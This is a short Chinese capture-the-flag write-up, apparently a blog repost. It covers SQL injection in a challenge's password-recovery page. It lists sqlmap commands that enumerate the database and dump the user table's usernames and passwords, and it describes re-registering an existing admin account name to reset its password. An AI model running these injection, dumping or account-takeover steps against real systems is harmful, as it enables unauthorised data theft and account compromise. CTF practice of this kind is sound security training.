嘗試注冊登陸賬號

掃了下目錄沒發現什么,用sqlmap把每個頁面跑過去,發現在找回密碼頁面有注入
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1"
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" --dbs
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 --tables
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 -T user --columns
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 -T user -C username&password --dump

被hash加密了,發現注冊頁面可以再次注冊c3tlwDmIn23這個賬號,成功重置密碼,登入得到flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/181284.html
標籤:其他
下一篇:PHP面試題
